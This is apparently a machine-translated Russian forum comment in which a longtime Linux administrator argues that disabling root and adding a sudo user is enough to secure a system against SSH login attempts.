FWIW, я управлял десятками серверов Linux на протяжении многих лет (десятилетий?) И знаю из опыта, что простое отключение root- и установка нового пользователя с sudoправами - это самый простой и самый простой способ защитить любую систему Linux. Мне никогда не приходилось сталкиваться с какими-либо компромиссами через SSH, как только rootотключили. И да, вы можете увидеть попытки войти через, auth.logно они бессмысленны; Если rootотключено, то эти попытки никогда ничего не дадут. Просто сидеть сложа руки и смотреть, как попытки бесконечно проваливаются!